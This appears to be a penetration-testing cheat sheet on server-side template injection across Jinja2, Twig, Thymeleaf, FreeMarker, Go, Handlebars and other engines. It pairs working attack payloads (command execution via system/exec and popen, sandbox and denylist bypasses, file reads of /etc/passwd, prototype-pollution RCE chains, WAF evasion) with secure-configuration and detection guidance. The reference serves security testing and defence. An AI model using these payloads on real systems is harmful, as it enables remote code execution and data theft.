Comprehensive SSTI Guide

SSTI DETECTION FLOW:
1. Identify template injection points
2. Test mathematical expressions
3. Analyze error messages
4. Determine template engine
5. Craft engine-specific payloads
6. Test blind detection via time-based or OOB channels

IDENTIFICATION DECISION TREE:
├── {​{7*7}} = 49
│   ├── {​{this}} = [object Object] → Handlebars (Node.js)
│   ├── Jinja2 (Python)
│   ├── Twig (PHP) 
│   └── Nunjucks (Node.js)
├── ${7*7} = 49
│   ├── ${"test"?length} = 4 → FreeMarker (Java)
│   ├── ${T(java.lang.Runtime)} works → Spring EL (Java)
│   └── Velocity (Java)
├── <%=7*7%> = 49
│   ├── ERB (Ruby)
│   └── ASP Classic
├── {7*7} = 49
│   └── Smarty (PHP)
├── {​{ . }} = memory address
│   └── Go html/template or text/template
├── [[${7*7}]] = 49
│   └── Thymeleaf (Java) expression inlining
└── <g:evaluate>...</g:evaluate> executes
    └── Jelly (ServiceNow)

TWIG ATTACK PATTERNS:
├── Filter Abuse
│   ├── {​{_self.env.registerUndefinedFilterCallback("exec")}}
│   ├── {​{_self.env.getFilter("id")}}
│   └── {​{["id"]|filter("system")}}
├── Function Injection
│   ├── {​{_self.env.registerUndefinedFunction("exec")}}
│   └── {​{_self.env.getFunction("system")}}
├── Object Injection
│   ├── {​{app.request.query.get('cmd')|passthru}}
│   └── {​{dump(app)}} (information disclosure)
└── Escape Handler Abuse (Grav CMS — GHSA-2m7x-c7px-hp58)
    ├── {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }}
    └── {​{ ['id'] | escape('system', 'system') }}
    (Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled)

THYMELEAF ATTACK PATTERNS:
├── Expression Preprocessing Double-Eval
│   ├── __${path}__ preprocesses user input, result evaluated as expression
│   ├── URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')})
│   └── Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {})
├── Spring Boot 3.3.4 Denylist Bypass (modzero research)
│   ├── Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils
│   ├── Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist)
│   ├── "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")
│   │   .invokeMethod(
│   │     "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")
│   │       .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"),
│   │     "exec", "whoami")
│   └── Full payload reads command output via IOUtils + file write for non-blind RCE
├── CVE-2023-38286 (Spring Boot Admin)
│   ├── Bypass Thymeleaf blacklists via ReflectionUtils (older versions)
│   ├── th:with chaining: findMethod → invokeMethod → exec
│   └── Requires MailNotifier enabled + write access to env vars
└── CVE-2022-46166 (Spring Boot Admin)
    └── RCE via variable coverage in notification templates

GO SSTI ATTACK PATTERNS:
├── Detection
│   └── {​{ . }} — prints memory address/object dump of passed struct
├── Data Leakage
│   ├── {​{ .Email }} / {​{ .Password }} — access struct fields
│   └── Leaks any exported field on the passed object
├── Method Invocation
│   ├── {​{ .MethodName "arg" }} — call exported methods on passed struct
│   └── Methods must be exported (capitalized) to be callable
├── Gin Framework Gadgets
│   └── {​{ .Writer.WriteString "<script>alert(1)</script>" }} — XSS via response writer
├── Echo Framework Gadgets
│   ├── {​{ .File "/etc/passwd" }} — arbitrary file read
│   ├── {​{ .Attachment "/etc/passwd" "passwd" }} — file read via attachment
│   ├── {​{ .Inline "/etc/passwd" "passwd" }} — file read inline
│   └── {​{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {​{ $x.Seek 1 0 }} {​{ .Stream 200 "text/plain" $x }} — file read with I/O control
├── Fiber Framework Gadgets
│   ├── {​{ .App.Shutdown }} — denial of service
│   └── {​{ .Response.SendFile "/etc/hostname" }} {​{ .Response.Body }} — file read via fasthttp.Response
├── Method Confusion (OnSecurity Research)
│   ├── If passed object type matches a method's receiver, call with custom params
│   ├── echo.Context.File("path") gadget for arbitrary file read
│   └── Gadget hunting: search imported modules for exported methods with dangerous behavior
└── text/template vs html/template
    ├── text/template allows direct "call" for public functions — higher risk
    └── html/template restricts call — requires gadget chains

DJANGO TEMPLATE ATTACKS:
├── Debug Information
│   ├── {​{settings.SECRET_KEY}}
│   ├── {​{settings.DATABASES}}
│   └── {​{settings.DEBUG}}
├── Object Traversal
│   ├── {​{request.META}}
│   ├── {​{request.user}}
│   └── {​{request.session}}
└── Filter Abuse
    ├── Custom filters with dangerous functions
    └── Template tag injection

APACHE CAMEL SSTI (CVE-2020-11994):
├── Affected Components
│   ├── camel-freemarker (CamelFreemarkerTemplate header)
│   ├── camel-velocity (CamelVelocityTemplate header)
│   ├── camel-mvel (CamelMvelTemplate header)
│   └── camel-mustache (MustacheResourceUri header — file disclosure only)
├── Attack Pattern
│   ├── Override default template via message header injection
│   ├── Header source depends on consumer: JMS properties, HTTP headers, etc.
│   └── ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd)
├── Sandbox Bypass
│   ├── camelContext object exposed in template context
│   ├── getInjector() + getClassResolver() → instantiate arbitrary classes
│   └── resolveLanguage("groovy") → evaluate arbitrary Groovy expressions
└── Impact
    └── RCE + Arbitrary File Disclosure across all template components

PAYLOAD DEVELOPMENT PROCESS:
├── Environment Discovery
│   ├── Available classes/modules
│   ├── Security restrictions
│   └── Execution context
├── Bypass Development
│   ├── Filter evasion
│   ├── Character restrictions
│   └── Length limitations
├── Payload Optimization
│   ├── Minimize detection
│   ├── Maximize impact
│   └── Ensure reliability
└── Multi-Stage Delivery
    ├── Store payload in persistent objects (Jinja2 config object)
    ├── Retrieve and execute across separate requests
    └── Useful when injection point has size limits (email fields)

MULTI-REQUEST PAYLOAD STAGING:
1. Store payload in config object via short injection:
   {​{config.update(a=request.args.get('a'))}}
   with URL parameter: ?a=<long RCE payload>

2. Verify storage:
   {​{config.a}}

3. Execute stored payload:
   {​{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}}

Use case: SSTI in email fields with RFC-imposed size limits

SANDBOX BYPASS METHODS:
├── Python/Jinja2
│   ├── __builtins__ access via globals
│   ├── Class traversal to dangerous modules
│   ├── Import statement reconstruction
│   └── Warning subclass → __builtins__['__import__'] chain
├── Java/FreeMarker
│   ├── ObjectConstructor for arbitrary class instantiation
│   ├── Static method calls via ?new()
│   ├── Reflection API abuse
│   ├── CamelContext.getInjector() + getClassResolver() (Apache Camel)
│   └── ScriptEngineManager for Groovy/JavaScript eval
├── Java/Thymeleaf
│   ├── Expression preprocessing (__...__) double-evaluation
│   ├── org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist)
│   ├── "".class.forName() to load arbitrary classes
│   └── ReflectionUtils (older versions, now denylisted)
├── PHP/Twig
│   ├── Filter/function registration
│   ├── Object property access
│   ├── Include/eval function calls
│   └── setEscaper() to redefine escape function as system() (Grav CMS)
└── Node.js/Handlebars
    ├── AST Injection via prototype pollution (bypass parser entirely)
    ├── Function constructor via this.constructor.constructor
    ├── Object.prototype.toString override + bind() for RCE
    └── Built-in helper abuse (with, blockHelperMissing)

PROTOTYPE POLLUTION → SSTI CHAIN:
├── Handlebars
│   ├── Pollute Object.prototype.type = "Program"
│   ├── Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value
│   ├── Template string bypasses parser (treated as pre-parsed AST)
│   └── Compiler executes injected code directly
├── Pug
│   ├── Pollute Object.prototype.block with {type:"Text", val:"<payload>"}
│   ├── When ast.type is "While", walkAST follows ast.block (uses prototype)
│   └── High reliability: any template referencing arguments triggers it
└── Detection
    ├── Handlebars: Object.prototype.pendingContent = "<test>" → appears in output
    └── Pug: Object.prototype.block = {type:"Text", val:"<test>"} → appears in output

WAF EVASION TECHNIQUES:
├── Encoding Variations
│   ├── URL encoding (%7B%7B)
│   ├── Unicode encoding (\u007B\u007B)
│   └── HTML entity encoding ({{)
├── Structure Manipulation
│   ├── Whitespace insertion {​{  7*7  }}
│   ├── Comment insertion {# comment #}
│   └── Nested expressions {​{7*{​{7}}}}
├── Payload Fragmentation
│   ├── Multi-step injection
│   ├── Context-dependent payloads
│   └── Request splitting
├── FreeMarker-Specific
│   ├── ?lower_abc / ?upper_abc character reconstruction
│   ├── 1.1?c[1] to generate dot character
│   └── Numeric built-in abuse to construct arbitrary strings
└── Thymeleaf-Specific
    ├── Preprocessor double-evaluation via __${...}__
    ├── @{} link expression parentheses to clear context
    └── Server-specific: Jetty allows {} in URL path, Tomcat blocks

model.addAttribute("name", userInput);   // safe — Thymeleaf renders the value

SSTI TESTING ARSENAL:
├── Detection Tools
│   ├── tplmap (comprehensive scanner — epinna)
│   ├── SSTImap (exploitation framework — vladko312)
│   ├── Burp extensions (various)
│   └── Nuclei templates (e.g., CVE-2024-5217.yaml)
├── Payload Generators
│   ├── PayloadsAllTheThings (payload collection)
│   ├── SecLists (template payloads)
│   └── Custom scripts
├── Framework-Specific
│   ├── j2eeTester (Java templates)
│   ├── TwigSecurityChecker (Twig)
│   └── JinjaSecurityScanner (Jinja2)
├── Reconnaissance
│   ├── Shodan/Censys/FOFA (identify exposed instances, e.g., ServiceNow)
│   └── Nuclei for automated version/vulnerability probing
└── CI/CD Integration
    ├── SAST rules: flag {​{{ in .hbs files (Handlebars triple braces)
    ├── Secrets scanners: detect credentials in templates
    └── Build guardrails: break on unsafe patterns

SECURE CONFIGURATION:
├── Jinja2/Django
│   ├── autoescape=True (XSS prevention)
│   ├── Restrict dangerous globals
│   ├── Custom filter validation
│   └── Use SandboxedEnvironment for user-controlled templates
├── Twig/Symfony
│   ├── Strict mode enabled
│   ├── Sandbox mode for user content (prevents setEscaper abuse)
│   ├── Function/filter allowlisting
│   └── Block access to internal extension objects
├── FreeMarker/Spring
│   ├── Restricted method calls
│   ├── Template loading restrictions
│   ├── API access controls
│   └── Use TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
├── Thymeleaf/Spring Boot
│   ├── Avoid expression preprocessing (__...__) with user input
│   ├── Denylist covers java.*, javax.*, org.springframework.util.*
│   ├── Audit third-party libs (commons-lang3 MethodUtils still exploitable)
│   └── Prefer Tomcat over Jetty (Tomcat blocks {} in URL paths)
├── Handlebars/Node.js
│   ├── Always use double braces {​{ }} (auto-escaping), never triple {​{{ }}}
│   ├── Audit custom helpers — never use SafeString with user input
│   ├── Protect against prototype pollution (freeze Object.prototype, use Maps)
│   └── Keep dependencies updated (prototype pollution CVEs)
├── Go Templates
│   ├── Prefer html/template over text/template (restricts "call")
│   ├── Never pass entire framework context (gin.Context, echo.Context) to templates
│   ├── Create minimal view structs with only needed fields
│   └── Avoid exported methods with dangerous behavior on passed types
├── ServiceNow/Jelly
│   ├── Apply vendor patches promptly (CVE-2024-4879 exploited in wild)
│   ├── Sanitize jvar_page_title and similar parameters
│   └── Monitor for Jelly tag injection patterns in logs
└── General Practices
    ├── Pre-compile templates (never build from user strings)
    ├── Validate all inputs
    ├── Monitor template rendering
    └── Run applications as non-root in containers

DETECTION STRATEGIES:
├── Log Analysis
│   ├── Template rendering errors
│   ├── Unusual template patterns ({​{, ${, <#, <g:evaluate>)
│   ├── Performance anomalies
│   └── ServiceNow: monitor login.do for Jelly tag injection
├── Runtime Monitoring
│   ├── Template execution time (detect sleep-based blind SSTI)
│   ├── Memory consumption
│   ├── System call monitoring (exec, popen, ProcessBuilder)
│   └── DNS/HTTP outbound connections from template rendering
├── Security Scanning
│   ├── Regular SAST scans (CodeQL, Semgrep)
│   ├── DAST testing (tplmap, SSTImap, Nuclei)
│   ├── Dependency vulnerability checks (prototype pollution in Node.js)
│   └── Internet exposure scanning (Shodan, Censys, FOFA)
└── Supply Chain
    ├── Monitor npm advisories for Handlebars, Pug, flat
    ├── Track Java dependency updates (FreeMarker, Thymeleaf, commons-lang3)
    └── Automated SCA in CI/CD pipelines